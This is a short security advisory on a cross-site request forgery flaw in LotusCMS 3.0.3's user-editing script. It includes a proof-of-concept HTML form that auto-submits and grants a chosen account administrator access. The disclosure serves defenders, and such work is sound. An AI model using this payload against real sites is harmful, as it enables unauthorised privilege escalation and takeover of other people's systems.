Vulnerability ID: HTB22886 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_lotuscms.html Product: LotusCMS Vendor: Arboroia Network ( http://www.lotuscms.org/ ) Vulnerable Version: 3.0.3 and probably prior versions Vendor Notification: 01 March 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "core/model/UsersModel.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/index.php?system=Users&page=edit&active=USERNAME" method="post" name="main"> <input type="hidden" name="name" value="test"> <input type="hidden" name="email" value="email@xxxxxxxxxxx"> <input type="hidden" name="password1" value=""> <input type="hidden" name="password2" value=""> <input type="hidden" name="access" value="administrator"> </form> <script> document.main.submit(); </script>